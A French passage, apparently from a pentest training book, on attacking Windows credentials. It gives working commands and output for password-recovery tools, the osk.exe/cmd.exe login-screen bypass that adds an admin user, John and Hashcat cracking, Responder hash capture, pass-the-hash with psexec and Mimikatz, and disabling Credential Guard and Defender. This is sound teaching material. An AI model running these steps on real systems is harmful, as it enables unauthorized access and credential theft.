IE PassView

Restrict
ed
Permet de récupérer les mots de passe sauvegardés dans Internet Explorer et de les exporter dans
un fichier texte avec l’extension .csv.

WebBrowserPassView

Évite d’avoir à utiliser un utilitaire spécifique pour chaque navigateur car il fonctionne pour Internet
Explorer, Firefox, Google Chrome, Safari et Opera.

Mail PassView

Récupère les mots de passe de nombreux clients mail comme Outlook Express, Microsoft Outlook
2002/2003/2007/2010/2013, Windows Mail, Incredit Mail, Eudora...

WirelessKeyView

Permet de récupérer vos clés WEP et WPA sur XP, Windows Vista, Windows 7, Windows 8 et
Windows Server 2008.

OperaPassView

Récupère et décrypte le fichier de mots de passe wan.dat qu’il est possible ensuite d’exporter en
texte.

PasswordFox

Même chose pour celui-ci, il permet également de récupérer les mots de passe des autres profils
d’utilisateurs.

Protected Storage PassView

Récupère les mots de passe Internet Explorer, Outlook et MSN Explorer. Fonctionne sur XP.

PstPassword

Récupère le mot de passe PST (Personal Storage Table) d’Outlook, pour les versions 2000, 2003,
2007. Il fonctionne directement avec le fichier PST.

Remote Desktop PassView

Révèle les mots de passe Microsoft Remote Desktop Connection stockés dans les fichiers .rdp.

RouterPassView

Récupère les logins et mots de passe en décryptant le fichier de configuration de notre routeur
sauvegardé sur l’ordinateur.

SniffPass

SniffPass est un petit utilitaire qui permet de récupérer les mots de passe réseau perdus en analysant
le trafic qui sort de votre carte. Il nécessite l’installation de winpcap.

VNCPassView

Récupère les mots de passe VNC.

WirelessKeyView

Ce petit soft retrouve les clés de chiffrement (WEP/WPA) stockées sur le PC. Fonctionne sur les
versions actuelles de Windows.

Restrict
ed
Un autre utilitaire bien pratique et à la mode est LaZagne
(https://github.com/AlessandroZ/LaZagne).

LaZagne est un outil open source qui tourne sous Windows et Linux et qui permet de récupérer les
mots de passe stockés dans de nombreuses applications. Il est disponible sous la forme d’un script
Python ou en version exécutable pour Windows (standalone).

Le tableau ci-dessous reprend les programmes exploitables par LaZagne en les classant par type
(Navigateurs, Chats...) et par système d’exploitation (Windows, Linux...).

Restrict
ed
Windows Linux macOS X

Navigateurs 7Star Brave Chrome

Amigo Chromium Firefox

BlackHawk Dissenter-Browser b.

Brave Google Chrome

Centbrowser IceCat

Chedot Firefox

Chrome Canary Opera

Chromium SlimJet

Coccoc Vivaldi

Comodo Dragon WaterFox

Comodo IceDragon

Cyberfox

Elements Browser

Epic Privacy Browser

Firefox

Google Chrome

Icecat

K-Meleon

Kometa

Opera

Orbitum

Sputnik

Torch

Uran

Vivaldi

Chats Pidgin Pidgin

Psi Psi

Skype

Bases de données DBVisualizer DBVisualizer

Postgresql Squirrel

Robomongo SQLdevelopper

Squirrel

SQLdevelopper

Jeux GalconFusion
Restrict
Kalypsomedia
ed
RogueTale
Utilisation de Hiren’s BootCD

Hiren’s BootCD PE x64 (https://www.hirensbootcd.org/download) permet de réinitialiser ou modifier


les mots de passe depuis un liveCD ou une clé USB bootable.

Une fois Hiren’s BootCD démarré sur le système, ouvrez le répertoire Utilities. Ouvrez ensuite le
répertoire Security et le sous-répertoire Passwords.

Utilisation d’un bootCD pour réinitialiser un compte Windows (Hiren’s BootCD)

Utilisez Lazesoft Password Recovery pour réinitialiser à blanc un mot de passe ou NT Password
Edit pour modifier un mot de passe.

Changer un mot de passe

Il suffit de choisir l’utilisateur et de cliquer sur le bouton Change password pour accéder à une
fenêtre demandant le nouveau mot de passe. Apparemment, dans les versions récentes de
Windows, seule la mise à blanc fonctionne.

Restrict
ed
c. Faille physique osk.exe

Sous Windows 10, il existe une faille relativement simple à exploiter. Elle se base sur un utilitaire de
clavier virtuel osk.exe.

Celui-ci est disponible au niveau de l’écran de connexion. Le but va être de remplacer celui-ci par le
binaire cmd.exe, ce qui permettra l’ouverture d’une console d’administration.

Il faut démarrer avec un liveCD Linux, par exemple Kali Linux. La partition Windows sera directement
montée et visible sur le bureau (xx GB volume). Si ce n’est pas le cas, utilisez l’utilitaire mount pour
monter la partition (sda2 dans l’exemple).

Renommez le fichier osk.exe en osk.exe.bak :

cd /mnt/sda2/Windows/System32

mv osk.exe osk.exe.bak

Copiez le fichier cmd.exe sous le nom osk.exe :

cp cmd.exe osk.exe

Redémarrez l’ordinateur normalement en bootant sur Windows 10.

Cliquez sur le bouton d’ergonomie et sélectionnez le clavier virtuel, celui-ci ouvre alors une console
avec des droits système.

Dans cette console, créez un nouvel utilisateur (laurent) :

> net user laurent P@ssword /add

Fermez la fenêtre, et attendez le rafraîchissement de la fenêtre d’accueil.

L’utilisateur nouvellement créé va apparaître. Il suffit de se connecter avec ce dernier pour être
administrateur du poste.

d. Trouver les hashs en ligne

Il est possible de consulter les nombreux sites en ligne qui proposent de trouver le mot de passe
correspondant à un hash donné. Par exemple :

 https://md5decrypt.net

 https://hashtoolkit.com

 http://cmd5.org

 https://crackstation.net

Il suffit de copier le hash sur le site choisi pour obtenir le mot de passe correspondant.

Utilisation d’un site craqueur de hash en ligne (https://crackstation.net)

Pour un hash, c’est pratique, mais pour des centaines de hashs, cela devient vite fatigant.

Le script "Find my Hash" (https://code.google.com/archive/p/findmyhash/) écrit en Python (version


2) permet de tester un hash, ou un fichier de hashs, sur une cinquantaine de sites.

Restrict
ed
Il supporte en outre de nombreux algorithmes de chiffrement : MD4, LM, NTLM, MD5, MYSQL, SHA1,
CISCO7, SHA256, JUNIPER, RMD160...

Il suffit de lancer la ligne de commande suivante :

python findmyhash_v1.1.2.py NTLM -h <le hash windows>

ou :

python findmyhash_v1.1.2.py NTLM -f <le fichier contenant les hashs>

Apparemment, une version 2 va bientôt être disponible.

Il permet donc de gagner un temps considérable si notre hash est référencé dans l’un de ces sites.

Son utilisation est très simple : il faut lui indiquer l’algorithme de hachage à utiliser, le hash (-h) ou le
fichier contenant les hashs (-f) ainsi que faire une recherche sur Internet à propos du hash si celui-ci
n’est pas craqué.

Ce qui donne par exemple :

./findmyhash.py <algorithme> -h <hash> -g

e. Utilisation de John the Ripper

Il existe de nombreux perceurs de mots de passe capables de casser les mots de passe de divers
systèmes comme Windows et Linux. Deux des plus connus seront abordés à titre d’exemple.

Généralement, les algorithmes d’authentification fonctionnent de manière asymétrique : ainsi, à la


saisie du mot de passe d’un utilisateur, celui-ci sera crypté à l’aide d’un algorithme et stocké sous
cette forme. À la connexion suivante de l’utilisateur, le mot de passe saisi sera crypté avec le même
algorithme et la forme obtenue comparée à la forme stockée.

John the Ripper génère des mots de passe probables et les crypte avec le même algorithme pour
trouver une concordance avec la forme cryptée contenue dans le fichier hashs.txt récupéré
précédemment. Le résultat est sauvegardé par défaut dans le fichier ~/.john/john.pot.

Sans option, John opère selon trois modes, du plus rapide au plus long :

 Le mode single ou mode simple correspondant à la méthode par force brute.

 Le mode wordlist ou dictionnaire : https://fr.wikipedia.org/wiki/Attaque_par_dictionnaire.

 Le mode incrémental.

Le mode simple utilise les logins utilisateurs et leur applique les règles définies dans le fichier
john.conf (https://www.openwall.com/john/doc/RULES.shtml).

Pour Windows LM :

$ john --format=lm <fichier contenant les hashs>

Pour Windows NTLM :


$ john -format=nt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2

Restrict
ed
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 24
needed for performance.
Warning: Only 16 candidates buffered for the current salt, minimum 24
needed for performance.
Warning: Only 9 candidates buffered for the current salt, minimum 24
needed for performance.
Warning: Only 23 candidates buffered for the current salt, minimum 24
needed for performance.
Warning: Only 11 candidates buffered for the current salt, minimum 24
needed for performance.
user123 (user)
1g 0:00:00:00 DONE 1/3 (2021-05-15 09:41) 50.00g/s 31200p/s 31200c/s
31200C/s User40..User123
Use the "--show --format=NT" options to display all of the cracked
passwords reliably
Session completed

Le mot de passe de l’utilisateur "user" est "user123".

Pour Windows NT-LMv1 :


john --format=netntlm <fichier contenant les hashs>

Pour Windows NT-LMv2 :


john --format=netntlmv2 <fichier contenant les hashs>

Par défaut, John utilisera son dictionnaire par défaut qui se trouve dans
/usr/share/john/password.lst. Pour préciser un dictionnaire, la commande à lancer est très simple :
$john --wordlist="rockyou.txt" <fichier contenant les hashs>
$ john --format=nt --wordlist="rockyou.txt" hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
user123 (user)
1g 0:00:00:00 DONE (2021-05-15 09:51) 50.00g/s 19180Kp/s 19180Kc/s
19180KC/s vanessa86..uriel2
Use the "--show --format=NT" options to display all of the cracked
passwords reliably
Session completed

f. Utilisation de Hashcat

Hashcat (https://hashcat.net/hashcat) est un outil de récupération de mots de passe très rapide


exploitant les multicœurs des CPU modernes (multithreads) ou les GPU.

Restrict
ed
Comme pour John, l’attaque par dictionnaire est utilisée. De nombreux dictionnaires de mots de
passe comme les fameux darkc0de.lst ou rockyou.lst (https://wiki.skullsecurity.org/Passwords) sont
disponibles sur le Web.

Il est compatible Linux, Windows et OS X en versions 32 et 64 bits et travaille sur plus de 90


algorithmes.

Différentes méthodes d’utilisation sont possibles avec Hashcat (dictionnaire, force brute...), en voici
les principales :

 La méthode Straight ou recherche par dictionnaire basique.

 La méthode Combination qui combine plusieurs lignes d’un dictionnaire pour en faire un mot
de passe.

 La méthode Table-Lookup, qui utilise un fichier "Table Lookup" pour remplacer les lettres des
mots de passe de votre dictionnaire par d’autres. Cette méthode a rendu obsolète la
méthode Toggle Case qui consistait à remplacer les lettres des mots de votre dictionnaire par
des minuscules ou des majuscules.

 La méthode par permutation, qui consiste à alterner chaque lettre de votre dictionnaire.

 La méthode par force brute, qui permet de tester tous les mots de passe possibles.

 La méthode d’attaque via des règles, qui est la plus compliquée des méthodes car elle
permet d’utiliser des fonctions désignées par des lettres (letter name) capables d’étendre et
de modifier des mots de passe initiaux en utilisant des opérateurs conditionnels si besoin est.
Ces règles ont été écrites pour être 100 % compatibles avec d’autres casseurs de mots de
passe comme John the Ripper et PasswordsPro.

D’autres méthodes existent (FingerPrint, Mask et Hybrid) et sont décrites en détail sur le wiki de
Hashcat (https://hashcat.net/wiki).

Le résultat est sauvegardé par défaut dans le fichier ~/.hashcat/hashcat.potfile.

Syntaxe de hashcat :

hashcat <options> hashfile <mask|wordfiles|directories>

Pour Windows LM :

hashcat -m 3000 -a 3 <fichier contenant les hashs>

Pour Windows NTLM :

hashcat -m 1000 -a 3 <fichier contenant les hashs>

Exemple sans dictionnaire :


$ hashcat -m 1000 -a 3 hash.txt
...
eacb2c6a3aaa4ed476ed2741be8c7a4e:user123
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NTLM
Hash.Target......: eacb2c6a3aaa4ed476ed2741be8c7a4e
Time.Started.....: Sat May 15 12:03:32 2021 (0 secs)

Restrict
ed
Time.Estimated...: Sat May 15 12:03:32 2021 (0 secs)
Guess.Mask.......: ?1?2?2?2?2?2?2 [7]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 7/15 (46.67%)
Speed.#1.........: 163.0 MH/s (12.72ms) @ Accel:1024 Loops:1024 Thr:1
Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 41943040/134960504832 (0.03%)
Rejected.........: 0/41943040 (0.00%)
Restore.Point....: 0/1679616 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:19456-20480 Iteration:0-1024
Candidates.#1....: Nbueran -> iaczrin

Avec un dictionnaire (rockyou.txt) :


$ hashcat -m 1000 -a 0 hash.txt rockyou.txt
...
Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

eacb2c6a3aaa4ed476ed2741be8c7a4e:user123
...

Cette attaque est beaucoup plus rapide. Il faut donc commencer par une attaque via dictionnaire, et
si cette dernière ne donne pas de résultat concluant, passer à la technique "brute force". L’utilisation
de processeurs de la carte graphique (GPU) permet de réduire significativement le temps de calcul.

Pour Windows NTLMv1 :

hashcat -m 5500 -a 3 <fichier contenant les hashs>

Pour Windows NTLMv2 :

hashcat -m 5600 -a 3 <fichier contenant les hashs>

Exemple : lancer hashcat sur un hash de type SHA512 (UNIX)

./hashcat-cli64.bin -a 0 -m 1800 -o found.txt --remove hash.txt

rockyou.txt

L’argument -a définit le mode d’attaque (straight), le -m l’algorithme concerné (SHA512), le -o le


répertoire où stocker les mots de passe trouvés, le --remove enlève les hashs trouvés de la liste. Les
fichiers hash.txt et rockyou.txt sont respectivement la liste de hashs et le dictionnaire utilisé.

Restrict
ed
La commande hashcat-cli64.bin -h affiche l’aide en ligne détaillée.

Exemple d’utilisation de hashcat avec la méthode Combination

Prenons un dictionnaire dict.txt comprenant les trois mots "cdaisi", "acissi", "2014".

Le mode Combination essaiera les combinaisons du style :

 cdaisicdaisi

 cdaisiacissi

 cdaisi2014

 cdaisi

 acissiacissi

 ...

Créons le fichier contenant un hash md5 :

echo -n "cdaisi2014" | md5sum > hash.txt

La commande suivante lance hashcat en mode Combination :

./hashcat-cli64.bin -a1 -m0 hash.txt dict.txt

Restrict
ed
Il est possible de nous servir de la puissance de notre carte graphique pour craquer un mot de passe.
Ainsi, NVIDIA a développé CUDA, qui est une architecture de traitement parallèle permettant de
décupler les performances de calcul du système en utilisant la puissance des processeurs graphiques
(GPU).

CUDA permet d’affecter des tâches à la carte graphique plus facilement. Les CPU actuels ne
dépassent pas les 50 gigaflops, alors que les GPU ont déjà dépassé la barre du téraflops. Le terme
"FLOPS" est un acronyme (Floating-point Operations Per Second). Le nombre de FLOPS est devenu
une mesure de la vitesse d’un système informatique. De fait, des logiciels capables d’exploiter ces
GPU font leur apparition, dans le but principalement de réduire la durée d’une opération.

Cryptohaze-Multiforcer fait partie de ceux-ci et est utilisé dans le craquage par force brute des hashs
suivants : MD5, MD5S, NTLM, MD4, SHA1, MSSQL, SHA, MD5_PS, MD5_SP, SSHA, DOUBLEMD5,
TRIPLEMD5, MD5OFSHA1, SHA1OFMD5, DUPMD5, DUPNTLM, LM.

Il fonctionne sous Linux, Windows et macOS.

Pour utiliser Cryptohaze-Multiforcer, il faudra télécharger d’abord CUDA pour votre distribution sur
la page officielle de NVIDIA (https://developer.nvidia.com/cuda-downloads) et lancer le script
d’installation après l’avoir rendu exécutable. Pour utiliser cette technologie, la carte devra au moins
être égale ou supérieure à la gamme des GeForce 8.

Il faut ensuite télécharger Cryptohaze-Multiforcer (https://www.cryptohaze.com) et le


décompresser pour l’utiliser :

tar jxvf Cryptohaze-Multiforcer-Linux-*.tar.bz2

cd Cryptohaze-Linux

L’utilisation de Cryptohaze Multiforcer est très simple, le synoptique de la commande est celui-ci :

./Cryptohaze-Multiforcer -h {hash type} -f {hash file}

-c {caracters}-min {min length} -max {max length}

avec :

 hashtype : MD4, MD5, NTLM ou SHA1.

 hash file : fichier texte avec un hash par ligne.

Restrict
ed
 caracters : fichier comprenant les caractères à utiliser.

 min length : longueur minimale du mot de passe.

 max length : longueur maximale du mot de passe.

Cryptohaze permet en plus d’utiliser les rainbow tables.

Exemple de commande :

./GRTCrack-CPP -h NTLM -f test_hashs/Hashs-NTLM-Full.txt

output/NTLM*.grt

New-Multiforcer-Linux (https://sourceforge.net/projects/cryptohaze/files/) est la dernière version de


Cryptohaze-Multiforcer. Il s’utilise de la même façon.

g. Récupération de condensat avec Responder

L’outil Responder permet de capturer les condensats LM, NTLM, NTLMv1 et NTLMv2 ainsi que le
nom de l’utilisateur et le condensat du mot de passe dans certains cas. En effet, Windows peut
envoyer automatiquement les informations d’authentification afin de réaliser une authentification
unique SSO (Single Sign-On) lorsque cela est possible.

La version actuelle de Responder ne fonctionne qu’avec les versions antérieures à 1607


(anniversaire) de Windows 10.

Installez l’outil dans votre machine Kali :


# cd /opt
# git clone
https://github.com/SpiderLabs/Responder.git
Clonage dans 'Responder'...

Pour activer Responder, il suffit de le lancer en ajoutant l’interface désirée (eth0 dans notre
exemple) :
root@kali:/opt/Responder# ./Responder.py -I eth0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|

NBT-NS, LLMNR & MDNS Responder 2.3

Author: Laurent Gaffie (laurent.gaffie@gmail.com)


To kill this script hit CRTL-C

[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]

[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]

Restrict
ed
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]

[+] HTTP Options:


Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

[+] Poisoning Options:


Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]

[+] Generic Options:


Responder NIC [eth0]
Responder IP [192.168.0.52]
Challenge set [1122334455667788]

Il faut maintenant attendre qu’un utilisateur trop curieux tente de se connecter à une ressource avec
une adresse erronée depuis une machine Windows, par exemple via un navigateur web ou
l’explorateur de Windows. L’utilisateur trop curieux se verra alors proposer de rentrer son login et
son mot de passe ou pas (dans le cas de l’explorateur Windows). Ensuite, rien ne se passe pour lui et
aucun message d’erreur ne va l’alerter.

Par contre, sur la machine Kali, c’est autre chose :


[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 192.168.1.101 for name WORKGROUP
(service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 192.168.1.101 for name TEST
(service: File Server)
[*] [MDNS] Poisoned answer sent to 192.168.1.101 for name test.local
[*] [LLMNR] Poisoned answer sent to 192.168.1.101 for name test
[SMB] NTLMv2-SSP Client : 192.168.1.101
[SMB] NTLMv2-SSP Username : DESKTOP-H1JLS00\user
[SMB] NTLMv2-SSP Hash : user::DESKTOP-
H1JLS00:1122334455667788:35D6DFA95472BB51CABF263C28DE2714:0101000000
0000007B995B2D264AD701EA7A1398355C05E40000000002000A0053004D00420031
00320001000A0053004D0042003100320004000A0053004D0042003100320003000A
0053004D0042003100320005000A0053004D00420031003200080030003000000000
0000000100000000200000D51125AEC73CC1CBEC47BEAFC7345CB441D700091BFBBB
FBF44A6BA7498869F80A0010000000000000000000000000000000000009001200630
06900660073002F0074006500730074000000000000000000
[SMB] Requested Share : \\TEST\IPC$
[*] [MDNS] Poisoned answer sent to 192.168.1.101 for name test.local
[*] [LLMNR] Poisoned answer sent to 192.168.1.101 for name test
[*] Skipping previously captured hash for DESKTOP-H1JLS00\user
[SMB] Requested Share : \\TEST\IPC$

Restrict
ed
Le nom de l’utilisateur, son domaine et son condensat (ici du NTLMv2) sont capturés !

Sauvegardez le texte contenu après "NTLMv2 Hash :" dans un fichier (ici : Hash_NTLMv2.txt).

Si la machine avait proposé du NTLMv1, il aurait été possible de tenter de se connecter directement
en utilisant le condensat via l’outil winexe, soit directement en ligne de commande, soit avec des
outils intégrateurs comme smbsexec.

Avec Hashcat, il est possible de trouver le mot de passe :


$ hashcat -m 5600 Hash_NTLMv2.txt /home/laurent/SAM/rockyou.txt
hashcat (v6.1.1) starting...
...
Dictionary cache hit:
* Filename..: /home/laurent/SAM/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

USER::DESKTOP-H1JLS00:1122334455667788:35d6dfa95472bb51cabf263c28de2714:
01010000000000007b995b2d264ad701ea7a1398355c05e40000000002000a0053004d0042003100
320001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d004200
3100320005000a0053004d004200310032000800300030000000000000000100000000200000d511
25aec73cc1cbec47beafc7345cb441d700091bfbbbfbf44a6ba7498869f80a001000000000000000
000000000000000000000900120063006900660073002f007400650
0730074000000000000000000:user123

Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: USER::DESKTOP-H1JLS00:1122334455667788:35d6dfa95472...000000
Time.Started.....: Sun May 16 09:54:23 2021 (0 secs)
Time.Estimated...: Sun May 16 09:54:23 2021 (0 secs)
Guess.Base.......: File (/home/laurent/SAM/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1369.3 kH/s (1.25ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 385024/14344384 (2.68%)
Rejected.........: 0/385024 (0.00%)
Restore.Point....: 382976/14344384 (2.67%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: virgo1995 -> tita14

Started: Sun May 16 09:54:21 2021


Stopped: Sun May 16 09:54:25 2021

Le choix du mot de passe est trop simple, il aura fallu quelques secondes à Hashcat pour le trouver !

h. Pass The Hash

Afin d’empêcher l’interception du mot de passe, Microsoft a choisi de ne pas envoyer le mot de
passe sur le réseau lors de l’authentification. En simplifiant un peu, l’authentification est basée sur le
principe suivant :

 Le client demande un accès à une ressource au serveur en indiquant son nom et son
domaine.

Restrict
ed
 Le serveur répond en envoyant une valeur aléatoire (défi) au client.

 Le client répond au serveur en envoyant le résultat du "chiffrement" du défi avec le


condensat de son mot de passe.

 Le serveur, qui dispose également du condensat du mot de passe du client, réalise la même
opération que le client et autorise l’accès à la ressource si les résultats sont identiques.

Donc ce n’est pas le mot de passe qui est utilisé pour l’authentification mais son condensat (hash).

Avec les versions antérieures à 1607 (anniversaire), il est possible de rejouer un hash. Autrement dit,
il n’est pas nécessaire de connaître le mot de passe d’un utilisateur pour se connecter. Il suffit de
présenter le hash de son mot de passe !

Pour faire le test avec une version supérieure, il faut au préalable effectuer les actions suivantes :

 Désactiver UAC remote restrictions afin de permettre une élévation de privilèges à distance
en ajoutant la clé de type DWORD LocalAccountTokenFilterPolicy dans
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ policies\system, si
elle n’est pas présente et en définissant sa valeur à 1.

 Désactiver Credential Guard afin de désactiver l’isolation de la SAM en ajoutant la clé de type
DWORD LsaCfgFlags dans HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA, si
elle n’est pas présente et en définissant sa valeur à 0.

 Désactiver l’antivirus de Windows Defender, car ce dernier considère psexec comme une
menace.

L’outil psexec.py de la suite Impacket (https://github.com/SecureAuthCorp/impacket.git) va


permettre de rejouer un hash.

Pour installer la suite Impacket :

sudo apt install python3-pip

sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket

sudo pip3 install -r /opt/impacket/requirements.txt

sudo cd /opt/impacket

sudo python3 ./setup.py install

Dans la section Extraction des données d’une SAM, le hash NTLM de l’utilisateur "user" avait été
découvert par Mimikatz : e5df2c988f0d77ef35aa949be5dc95b5.

Il suffit de rejouer ! L’exemple qui suit montre comment s’authentifier avec un hash et lancer une
console CMD depuis la machine Kali vers une machine Windows 10 cible définie par son adresse IP
(192.168.1.101) afin d’afficher le contenu du répertoire c:\dump.
$ psexec.py -hashes :eacb2c6a3aaa4ed476ed2741be8c7a4e user@192.168.1.104 cmd
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020
SecureAuth Corporation

[*] Requesting shares on 192.168.1.104.....


[*] Found writable share ADMIN$
[*] Uploading file iyeVoGnW.exe

Restrict
ed
[*] Opening SVCManager on 192.168.1.104.....
[*] Creating service xRJI on 192.168.1.104.....
[*] Starting service xRJI.....
[!] Press help for extra shell commands
Microsoft Windows [version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. Tous droits réservés.

C:\WINDOWS\system32>cd /

C:\>cd dump

C:\dump>dir
Le volume dans le lecteur C n'a pas de nom.
Le numéro de série du volume est D237-3C9E

Répertoire de C:\dump

16/05/2021 16:04 <DIR> .


16/05/2021 16:04 <DIR> ..
16/05/2021 16:04 334 LocalAccountTokenFilterPolicy.reg
16/05/2021 15:50 270 LsaCfgFlags.reg
16/05/2021 15:34 <DIR> mimikatz_trunk
14/05/2021 16:09 1 160 719 mimikatz_trunk.zip
16/05/2021 15:37 49 152 sam.save
16/05/2021 15:37 13 410 304 system.save
5 fichier(s) 14 620 779 octets

i. Récupération de condensat d’une machine locale et élévation de privilège avec Mimikatz

L’outil Mimikatz développé par Benjamin Delpy (alias @gentilkiwi) est capable de récupérer via son
module Sekurlsa les identifiants et mots de passe stockés par le mécanisme d’authentification SSO
(Single Sign-On) de Windows utilisé par le processus LSASS. LSASS utilise des SSP (Security Service
Provider) pour établir les communications. Le schéma ci-dessous représente une vue simplifiée du
LSASS et des SSP.

Restrict
ed
Vue simplifiée du LSASS et des SSP

Le processus LSASS comprend les modules suivants :

 LSA (Local Security Authority) :

 fournit un mécanisme d’authentification unique (SSO, Single Sign-On) ;

 authentifie les utilisateurs au moyen des SSP (Security Support Provider) ;

 gère les stratégies de sécurité locales ;

 génère les jetons d’accès ;

 supporte la partie interactive du logon ;

 gère les audits et les alertes de sécurité.

 SSP (Security Support Provider) fournit le mécanisme d’authentification :

 "Digest" avec HTTP ou SASL ;

 "challenge/response" avec LM, NTLMv1 ou NTLMv2 (NTLM) ;

 "Kerberos" avec le KDC (Key Distribution Center) d’un domaine Active Directory ;

 Secure Channel (SCHANNEL) avec SSL, TLS ou PCT (Private Communications Transport) ;

 RDP (Remote Desktop Protocol) avec NLA (Network Level Authentication : tskpg.dll) en
établissant un tunnel TLS lors de l’authentification (CRED) ;

 via le compte LiveID de Microsoft (LIVE) ;

 entre deux équipements via PKU2U (Public Key User to User) dans un groupe de travail
familial (PKU2U).

Restrict
ed
Le module Sekurlsa de Mimikatz permet de récupérer entre autres les mots de passe du gestionnaire
d’identification de Windows (LSASS), y compris :

 les mots de passe en mémoire ;

 les identifiants de connexions RDP (Remote Desktop Protocol) via "tspkg" ;

 les identifiants de connexions Windows Live (Remote Desktop) via " livessp" ;

 les tickets Kerberos (pour les rejouer) via "kerberos" ;

 les identifiants de connexions TLS/SSL via "wdigest" ;

 les identifiants de la SAM via "msv1_0".

La version actuelle de Mimikatz opère sur des copies des clés de chiffrements présentes en mémoire
et non directement dans la mémoire afin de ne pas être détectée par les antivirus actuels.

Pour récupérer les LSA, Mimikatz requiert un niveau administrateur et un accès au mode debug.

Pour récupérer les mots de passe en clair et les condensats, lancez le programme Mimikatz en mode
privilégié (depuis une console administrateur) et tapez la commande suivante :
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 312361 (00000000:0004c429)
Session : Interactive from 1
User Name : Administrator
Domain : FORMATION
Logon Server : DC-01
Logon Time : 07-05-17 18:15:24
SID : S-1-5-21-1646212111-3364853876-4038436236-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : FORMATION
* NTLM : e5df2c988f0d77ef35aa949be5dc95b5
* SHA1 : 007d36e77b0fdc583954cbd7b1f2a1d508511c90
* DPAPI : 40a23fe4ee8b341eb37da434c6d769d5
tspkg :
wdigest :
* Username : Administrator
* Domain : FORMATION
* Password : (null)
kerberos :
* Username : Administrator
* Domain : FORMATION.LOCAL
* Password : (null)
ssp :
credman :

Mimikatz a récupéré les SID, les noms d’utilisateurs et les domaines, mais pas les mots de passe en
clair. En effet, depuis Windows 8.1, LSASS ne stocke plus de mots de passe en clair dans la mémoire.

Mais il est possible d’accéder à des ressources distantes en utilisant directement les condensats
trouvés (attaque Pass-the-Hash) :
mimikatz #sekurlsa::pth /user:administrator /domain:FORMATION

Restrict
ed
/ntlm:e5df2c988f0d77ef35aa949be5dc95b5 /run:cmd

Une nouvelle fenêtre apparaît disposant des droits de l’administrateur du domaine. Il est possible de
le vérifier en se connectant au partage administratif C$ du contrôleur de domaine :
C:\Windows\system32> net use y: \\192.168.0.11\c$
La commande s'est terminée correctement.
C:\Windows\system32> y:
Y:\> dir
Le volume dans le lecteur Y n'a pas de nom.
Le numéro de série du volume est 7843-0152
Répertoire de Y:\
22-08-13 17:52 <DIR> PerfLogs
12-07-16 16:24 <DIR> Program Files
22-08-13 17:39 <DIR> Program Files (x86)
24-04-17 11:09 <DIR> Users
02-05-17 17:48 <DIR> Windows
0 fichier(s) 0 octets
5 Rép(s) 52.326.912.000 octets libres

j. Exploitation du krbtgt (Golden Ticket)

Kerberos, depuis Windows 2000, repose sur des standards existants (RFC 1510 et 1964) et réalise une
authentification mutuelle entre le client et le serveur. Tout comme le chien Cerbère avec ses trois
têtes, Kerberos utilise trois composants pour fonctionner : un client, un serveur et une autorité
approuvée (le KDC, Key Distribution Center).

Le KDC gère une base de données stockant toutes les informations de compte des entités du
domaine. Chaque entité dispose de sa propre clé secrète partagée avec le KDC. Dans le cas des
comptes utilisateur, c’est le mot de passe qui permet d’obtenir cette clé (symétrique).

Le rôle de KDC est tenu par les DC, ainsi que les serveurs exécutant un service KDC.

Le KDC dispose de son propre compte nommé krbtgt (standard à la RFC 1510) généré lors de la
création du domaine.

Ce compte, situé dans le conteneur users de l’Active Directory, ne peut être ni supprimé, ni
renommé, ni activé.

Le même compte est utilisé par tous les KDC du domaine. Le mot de passe de ce compte est généré
automatiquement. Dans un domaine Windows, les systèmes font donc confiance à un ticket
Kerberos signé par le condensat d’un TGT (Ticket Granting Ticket).

Si un attaquant réussit à collecter le hash NTLM du compte krbtgt, Mimikatz pourra générer des
"golden tickets" pour élever les privilèges de n’importe quelle session de n’importe quel système.

Le laboratoire suivant suppose que l’attaquant dispose d’un accès à un contrôleur de domaine et à
une machine dans le domaine dont l’antivirus a été désactivé.

Une fois que l’attaquant acquiert des privilèges d’administration sur un contrôleur de domaine,
